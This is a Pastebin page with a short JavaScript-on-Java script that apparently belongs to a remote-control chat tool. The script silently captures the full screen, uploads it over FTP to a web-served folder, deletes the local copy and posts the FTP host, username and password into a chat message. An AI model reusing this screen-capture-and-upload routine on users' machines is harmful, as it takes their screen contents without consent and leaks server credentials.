Advertisement
lolsalat

Screenshot (js)

Jun 16th, 2017
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * Take, compress, upload and delete Screenshot
  3.  * req Java 8
  4.  */
  5.  
  6. //IMPORTS
  7. var File = Packages.java.io.File;
  8. var Robot = Packages.java.awt.Robot;
  9. var Rect = Packages.java.awt.Rectangle;
  10. var ImageIO = Packages.javax.imageio.ImageIO;
  11. var GraphicsEnvironment = Packages.java.awt.GraphicsEnvironment;
  12. var FTPServer = Packages.ftp.FTPServer;
  13. var JsonObject = Packages.com.google.gson.JsonObject;
  14. var Prim = Packages.com.google.gson.JsonPrimitive;
  15. var URLDecoder = Packages.java.net.URLDecoder;
  16.  
  17. //CODE
  18. var device = GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice();
  19. var robot = new Robot();
  20. //take Screenshot
  21. var img = robot.createScreenCapture(new Rect(0, 0, device.getDisplayMode().getWidth(), device.getDisplayMode().getHeight()));
  22. //save to file
  23. // Fixed curdir != jar dir
  24. var jardir = "";
  25. try{
  26.     jardir = URLDecoder.decode(java.lang.ClassLoader.getSystemClassLoader().getResource(".").getPath(), "UTF-8");
  27. }catch(e){
  28.     e.printStackTrace();
  29. }
  30. var screenshot = new File(jardir + "/sreenshot.png");
  31. //TODO compression
  32. ImageIO.write(img, "jpg", screenshot);
  33. //upload
  34. var server = FTPServer.servers.get("default");
  35. try{
  36. var remote = "/htdocs/remote/" + listener.UUID + ".jpg";
  37. server.Upload(screenshot,  remote);
  38. } catch(e){
  39.  
  40. }
  41. //delete
  42. screenshot.delete();
  43. //done
  44. var json = new JsonObject();
  45. json.add("remote", new Prim(remote));
  46. json.add("host", new Prim(server.host));
  47. json.add("username", new Prim(server.username));
  48. json.add("password", new Prim(server.password));
  49. chatroom.sendMessage(listener.UUID + "#image" +json.toString());
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement